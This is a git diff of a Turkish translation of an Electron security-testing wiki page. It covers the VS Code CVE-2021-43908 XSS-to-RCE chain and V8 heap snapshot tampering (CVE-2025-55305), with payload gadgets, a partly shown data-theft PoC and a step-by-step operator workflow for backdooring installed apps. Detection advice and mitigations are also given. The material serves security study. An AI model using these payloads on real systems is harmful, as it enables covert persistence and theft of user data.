Electron'de sistem tercihlerine erişmek ve **sistem olayları göndermek** için kullanılan **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemlerin tamamı bu modülün **parçasıdır**.
|
||||||
|
|
||||||
**Örnek kullanım:**
|
**Örnek kullanım:**
|
||||||
```javascript
|
```javascript
|
||||||
@ -366,43 +367,31 @@ console.log('Recent Places:', recentPlaces);
|
|||||||
```
|
```
|
||||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||||
|
|
||||||
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
|
* **Dinler**: **yerel macOS bildirimlerini** NSDistributedNotificationCenter kullanarak.
|
||||||
NSDistributedNotificationCenter kullanarak yerel macOS bildirimlerini dinler.
|
* **macOS Catalina** öncesinde, CFNotificationCenterAddObserver'a **nil** geçirerek **tüm** dağıtılmış bildirimleri sniff edebilirdiniz.
|
||||||
|
* **Catalina / Big Sur** sonrası, sandboxed uygulamalar yine de bildirimleri **isimle** kaydederek **birçok olaya subscribe** olabilir (örneğin, **screen locks/unlocks**, **volume mounts**, **network activity**, vb.).
|
||||||
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
|
|
||||||
macOS Catalina'dan önce, CFNotificationCenterAddObserver'a **nil** geçirerek tüm dağıtılmış bildirimleri sniff edebilirdiniz.
|
|
||||||
|
|
||||||
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
|
|
||||||
Catalina / Big Sur'dan sonra, sandbox'lanmış uygulamalar bildirimleri isimle kaydederek hâlâ birçok olaya (örneğin, **screen locks/unlocks**, **volume mounts**, **network activity**, vb.) abone olabilir.
|
|
||||||
|
|
||||||
### **getUserDefault / setUserDefault**
|
### **getUserDefault / setUserDefault**
|
||||||
|
|
||||||
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
|
* **NSUserDefaults** ile **arayüz** sağlar; macOS'ta **uygulama** veya **küresel** tercihleri saklar.
|
||||||
**NSUserDefaults** ile etkileşim kurar; macOS'ta uygulama veya sistem genelindeki tercihleri depolar.
|
|
||||||
|
|
||||||
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**.
|
* **getUserDefault** hassas bilgileri **alabilir**, örneğin **recent file locations** veya **kullanıcının coğrafi konumu**.
|
||||||
**getUserDefault**, son dosya konumları veya kullanıcının coğrafi konumu gibi hassas bilgileri alabilir.
|
|
||||||
|
|
||||||
* **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**.
|
* **setUserDefault** bu tercihleri **değiştirebilir**, potansiyel olarak bir uygulamanın **yapılandırmasını** etkileyebilir.
|
||||||
**setUserDefault** bu tercihleri değiştirebilir ve sonuç olarak bir uygulamanın **configuration**'ını etkileyebilir.
|
|
||||||
|
|
||||||
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
|
* Eski Electron sürümlerinde (v8.3.0 öncesi), yalnızca NSUserDefaults'un **standard suite**'i **erişilebilir** durumdaydı.
|
||||||
Eski Electron sürümlerinde (v8.3.0'dan önce), yalnızca NSUserDefaults'un standart kümesine erişilebiliyordu.
|
|
||||||
|
|
||||||
## Shell.showItemInFolder
|
## Shell.showItemInFolder
|
||||||
|
|
||||||
This function whows the given file in a file manager, which **could automatically execute the file**.
|
This function whows the given file in a file manager, which **could automatically execute the file**.
|
||||||
Bu fonksiyon verilen dosyayı bir dosya yöneticisinde gösterir; bu, dosyanın otomatik olarak **execute** edilmesine yol açabilir.
|
|
||||||
|
|
||||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||||
|
|
||||||
## Content Security Policy
|
## Content Security Policy
|
||||||
|
|
||||||
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
|
Electron uygulamalarında XSS saldırılarını önlemek için bir **Content Security Policy (CSP)** olmalıdır. **CSP**, tarayıcıda **güvenilmeyen kodun** **çalıştırılmasını** önlemeye yardımcı olan bir **güvenlik standardıdır**.
|
||||||
Electron uygulamalarında XSS saldırılarını önlemek için bir **Content Security Policy (CSP)** olmalıdır. **CSP**, tarayıcıda güvenilmeyen kodun çalıştırılmasını engellemeye yardımcı olan bir güvenlik standardıdır.
|
|
||||||
|
|
||||||
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
|
Genellikle **`main.js`** dosyasında veya **`index.html`** şablonunda, CSP'nin bir **meta tag** içinde tanımlanmasıyla **konfigüre edilir**.
|
||||||
Genellikle **`main.js`** dosyasında veya CSP'nin bir **meta tag** içinde yer aldığı **`index.html`** şablonunda yapılandırılır.
|
|
||||||
|
|
||||||
For more information check:
|
For more information check:
|
||||||
|
|
||||||
@ -412,23 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
## **Tools**
|
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||||
|
|
||||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
|
Bu gerçek dünya zinciri Visual Studio Code 1.63 (CVE-2021-43908) sürümünü etkiledi ve bir webview içindeki tek bir markdown kaynaklı XSS'in CSP, postMessage ve scheme handler'lar yanlış yapılandırıldığında tam RCE'ye nasıl yükseltilebileceğini gösterir. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||||
Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-pattern'lerini tespit etmek için bir araçtır.
|
|
||||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
|
|
||||||
Electronegativity'i kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
|
|
||||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
|
|
||||||
Üçüncü taraf kütüphanelerdeki zayıf noktaları kontrol etmek için.
|
|
||||||
- [**Electro.ng**](https://electro.ng/): You need to buy it
|
|
||||||
Satın almanız gerekiyor
|
|
||||||
|
|
||||||
## Labs
|
Attack chain overview
|
||||||
|
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||||||
|
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||||
|
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||||||
|
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||||||
|
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
|
||||||
|
|
||||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
|
Example RCE primitive in the final context
|
||||||
Bu bağlantıda zafiyetli Electron uygulamalarını exploit etmek için bir lab bulabilirsiniz.
|
```js
|
||||||
|
// RCE.html (executed in a Node-enabled webview context)
|
||||||
|
require('child_process').exec('calc.exe'); // Windows
|
||||||
|
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||||
|
```
|
||||||
|
postMessage güven sorunlarıyla ilgili ek okumalar:
|
||||||
|
|
||||||
Some commands that will help you will the lab:
|
{{#ref}}
|
||||||
|
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## **Araçlar**
|
||||||
|
|
||||||
|
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron tabanlı uygulamalarda yanlış yapılandırmaları ve güvenlik anti-pattern'lerini tespit etmek için bir araçtır.
|
||||||
|
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity kullanan, Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
|
||||||
|
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) güvenlik açığı olan üçüncü taraf kütüphaneleri kontrol etmek için
|
||||||
|
- [**Electro.ng**](https://electro.ng/): Satın almanız gerekiyor
|
||||||
|
|
||||||
|
## Laboratuvarlar
|
||||||
|
|
||||||
|
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
|
||||||
|
|
||||||
|
Lab'da işinize yarayacak bazı komutlar:
|
||||||
```bash
|
```bash
|
||||||
# Download apps from these URls
|
# Download apps from these URls
|
||||||
# Vuln to nodeIntegration
|
# Vuln to nodeIntegration
|
||||||
@ -451,21 +458,20 @@ cd vulnerable1
|
|||||||
npm install
|
npm install
|
||||||
npm start
|
npm start
|
||||||
```
|
```
|
||||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
## V8 heap snapshot manipülasyonu ile yerel backdoor ekleme (Electron/Chromium) – CVE-2025-55305
|
||||||
|
|
||||||
Electron ve Chromium tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için startup'ta önceden derlenmiş bir V8 heap snapshot'ı (v8_context_snapshot.bin ve opsiyonel olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak, Electron’un integrity fuses bu snapshot'ları yürütülebilir içerik olarak değerlendirmediğinden, hem fuse tabanlı bütünlük uygulamasından hem de işletim sistemi code-signing kontrollerinden kaçıyorlardı. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumdaki snapshot'ın değiştirilmesi, imzalı ikili dosyaları veya ASAR'ı değiştirmeden uygulama içinde gizli ve kalıcı kod yürütülmesine imkan veriyordu.
|
Electron ve Chromium-tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için startup sırasında önceden oluşturulmuş bir V8 heap snapshot'ı (v8_context_snapshot.bin ve isteğe bağlı olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak, Electron’un integrity fuses bu snapshot'ları executable içerik olarak ele almadı; bu yüzden fuse-tabanlı bütünlük uygulamasından ve işletim sistemi code-signing kontrollerinden kaçtılar. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumdaki snapshot'ı değiştirmek, imzalı ikili dosyaları veya ASAR'ı değiştirmeden uygulama içinde gizli, kalıcı kod yürütmeye olanak sağladı.
|
||||||
|
|
||||||
Key points
|
Key points
|
||||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ve OnlyLoadAppFromAsar, ASAR içindeki uygulama JavaScript'ini doğrular, ancak V8 heap snapshot'larını kapsamazlar (CVE-2025-55305). Chromium benzer şekilde snapshot'ları bütünlük açısından kontrol etmez.
|
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ve OnlyLoadAppFromAsar ASAR içindeki uygulama JavaScript'ini doğruluyor, ancak V8 heap snapshot'larını kapsamadılar (CVE-2025-55305). Chromium benzer şekilde snapshot'ları integrity-check etmiyor.
|
||||||
- Attack preconditions: Uygulamanın kurulum dizinine lokal dosya yazma izni. Bu, Electron uygulamalarının veya Chromium tarayıcılarının kullanıcı-yazılabilir yollara kurulduğu sistemlerde yaygındır (ör. %AppData%\Local Windows'ta; /Applications macOS'ta bazı uyarılarla).
|
- Attack preconditions: Uygulamanın kurulum dizinine lokal dosya yazımı. Bu, Electron uygulamalarının veya Chromium tarayıcılarının kullanıcı tarafından yazılabilir yollar altında yüklü olduğu sistemlerde yaygındır (ör. %AppData%\Local üzerinde Windows; macOS'ta /Applications ile bazı istisnalar).
|
||||||
- Effect: Sık kullanılan bir builtin'i (bir “gadget”) ezerek herhangi bir isolate'ta saldırgan JavaScript'inin güvenilir şekilde yürütülmesi; bu da kalıcılık sağlar ve code-signing doğrulamasından kaçınmayı mümkün kılar.
|
- Effect: Sık kullanılan bir builtin'i (bir “gadget”) ezerek herhangi bir isolate'ta attacker JavaScript'in güvenilir şekilde yürütülmesi; bu da kalıcılık ve code-signing doğrulamasından kaçınma sağlar.
|
||||||
- Affected surface: Electron uygulamaları (fuses etkin olsa bile) ve snapshot'ları kullanıcı-yazılabilir konumlardan yükleyen Chromium tabanlı tarayıcılar.
|
- Affected surface: Snapshot'ları kullanıcı tarafından yazılabilir konumlardan yükleyen Electron uygulamaları (fuses etkin olsa bile) ve Chromium-tabanlı tarayıcılar.
|
||||||
|
|
||||||
Generating a malicious snapshot without building Chromium
|
Generating a malicious snapshot without building Chromium
|
||||||
- Önceden derlenmiş electron/mksnapshot'ı kullanarak bir payload JS'i snapshot'a derleyin ve uygulamanın v8_context_snapshot.bin dosyasının üzerine yazın.
|
- Önceden derlenmiş electron/mksnapshot kullanarak payload JS'i bir snapshot'a derleyin ve uygulamanın v8_context_snapshot.bin dosyasının üzerine yazın.
|
||||||
|
|
||||||
Example minimal payload (prove execution by forcing a crash)
|
Example minimal payload (prove execution by forcing a crash)
|
||||||
- Örnek minimal payload (yürütmeyi kanıtlamak için uygulamayı çökertme)
|
|
||||||
```js
|
```js
|
||||||
// Build snapshot from this payload
|
// Build snapshot from this payload
|
||||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||||
@ -479,11 +485,12 @@ Array.isArray = function () {
|
|||||||
throw new Error("testing isArray gadget");
|
throw new Error("testing isArray gadget");
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
İzole farkındalığına duyarlı payload yönlendirme (main vs. renderer'da farklı kod çalıştırma)
|
Isolate-aware payload routing (main ve renderer'da farklı kod çalıştır)
|
||||||
- Main process tespiti: process.pid, process.binding(), veya process.dlopen gibi sadece Node'a ait global'ler main process izolasında bulunur.
|
|
||||||
- Browser/renderer tespiti: alert gibi sadece tarayıcıya ait global'ler bir document bağlamında çalışırken kullanılabilir.
|
|
||||||
|
|
||||||
Ana süreçteki Node yeteneklerini bir kez yoklayan örnek gadget
|
- Main process tespiti: Node-only global'ler (ör. process.pid, process.binding(), process.dlopen) main process isolate içinde bulunur.
|
||||||
|
- Browser/renderer tespiti: Browser-only global'ler (ör. alert) document bağlamında çalıştırıldığında mevcut olur.
|
||||||
|
|
||||||
|
Örnek gadget: main-process Node yeteneklerini bir kez yoklayan
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
|
|
||||||
@ -512,7 +519,7 @@ process.exit(0);
|
|||||||
return orig(...arguments);
|
return orig(...arguments);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Renderer/browser-context veri hırsızlığı PoC (ör. Slack)
|
Renderer/browser-context veri hırsızlığı PoC (örn. Slack)
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
Array.isArray = function() {
|
Array.isArray = function() {
|
||||||
@ -537,26 +544,30 @@ return orig(...arguments);
|
|||||||
};
|
};
|
||||||
```
|
```
|
||||||
Operatör iş akışı
|
Operatör iş akışı
|
||||||
1) payload.js yazın; yaygın bir builtin'i (ör. Array.isArray) geçersiz kılar (clobber) ve isteğe bağlı olarak her isolate için dallanma yapar.
|
1) Yaygın bir yerleşik fonksiyonu bozacak payload.js dosyasını yazın (ör. Array.isArray) ve isteğe bağlı olarak izolasyon başına dallanma yapın.
|
||||||
2) Chromium kaynakları olmadan snapshot'ı oluşturun:
|
2) Chromium kaynakları olmadan snapshot'ı oluşturun:
|
||||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||||
3) Hedef uygulamanın snapshot dosyalarını üzerine yazın:
|
3) Hedef uygulamanın snapshot dosyalarını üzerine yazın:
|
||||||
- v8_context_snapshot.bin (her zaman kullanılır)
|
- v8_context_snapshot.bin (her zaman kullanılır)
|
||||||
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse'u kullanılıyorsa)
|
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse kullanılıyorsa)
|
||||||
4) Uygulamayı başlatın; seçilen builtin kullanıldığında gadget çalışır.
|
4) Uygulamayı başlatın; seçilen yerleşik fonksiyon her kullanıldığında gadget yürütülür.
|
||||||
|
|
||||||
Notlar ve dikkate alınması gerekenler
|
Notlar ve dikkate alınması gerekenler
|
||||||
- Bütünlük/imza atlama: Snapshot dosyaları, code-signing kontrolleri tarafından yerel yürütülebilir dosyalar olarak değerlendirilmez ve (tarihsel olarak) Electron’un fuses’ları veya Chromium bütünlük kontrolleri tarafından kapsanmıyordu.
|
- Integrity/signature bypass: Snapshot dosyaları code-signing kontrolleri tarafından yerel yürütülebilir olarak değerlendirilmez ve (tarihsel olarak) Electron’un fuses veya Chromium bütünlük kontrolleri tarafından kapsanmamıştır.
|
||||||
- Süreklilik: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek genellikle uygulama yeniden başlatmalarından sağ çıkar ve imzalı, meşru bir uygulama gibi görünür.
|
- Persistence: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek genellikle uygulama yeniden başlatmalarını aşar ve imzalanmış, meşru bir uygulama gibi görünür.
|
||||||
- Chromium tarayıcıları: Aynı tahrifat konsepti, kullanıcı tarafından yazılabilir konumlara kurulu Chrome/derivatives için de geçerlidir. Chrome'un başka bütünlük hafifletmeleri vardır fakat tehdit modelinden fiziksel yerel saldırıları açıkça hariç tutar.
|
- Chromium browsers: Aynı tahrifat konsepti, kullanıcı tarafından yazılabilir konumlara kurulu Chrome/ türevleri için de geçerlidir. Chrome'un diğer bütünlük hafifletmeleri vardır ancak tehdit modelinde fiziksel olarak yerel saldırıları açıkça kapsam dışı bırakır.
|
||||||
|
|
||||||
Tespit ve hafifletmeler
|
Tespit ve hafifletmeler
|
||||||
- Snapshot'ları yürütülebilir içerik olarak ele alın ve bunları bütünlük uygulamasına dahil edin (CVE-2025-55305 fix).
|
- Snapshot'ları yürütülebilir içerik olarak ele alın ve bunları bütünlük uygulamasına dahil edin (CVE-2025-55305 fix).
|
||||||
- Yalnızca yönetici tarafından yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için baseline ve hash'leri alın ve izleyin.
|
- Sadece admin tarafından yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için temel hash'leri alın ve izleyin.
|
||||||
- Erken çalışma zamanı builtinların üzerine yazılmasını (clobbering) ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle eşleşmediğinde uyarı verin.
|
- Erken-runtime yerleşik fonksiyon tahribatını ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle uyuşmadığında uyarı verin.
|
||||||
|
|
||||||
## **Referanslar**
|
## **Referanslar**
|
||||||
|
|
||||||
|
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||||
|
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||||
|
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||||
|
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||||
@ -565,8 +576,7 @@ Tespit ve hafifletmeler
|
|||||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||||
- [Loki C2](https://github.com/boku7/Loki/)
|
- [Loki C2](https://github.com/boku7/Loki/)
|
||||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
|
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||||
|
|
||||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user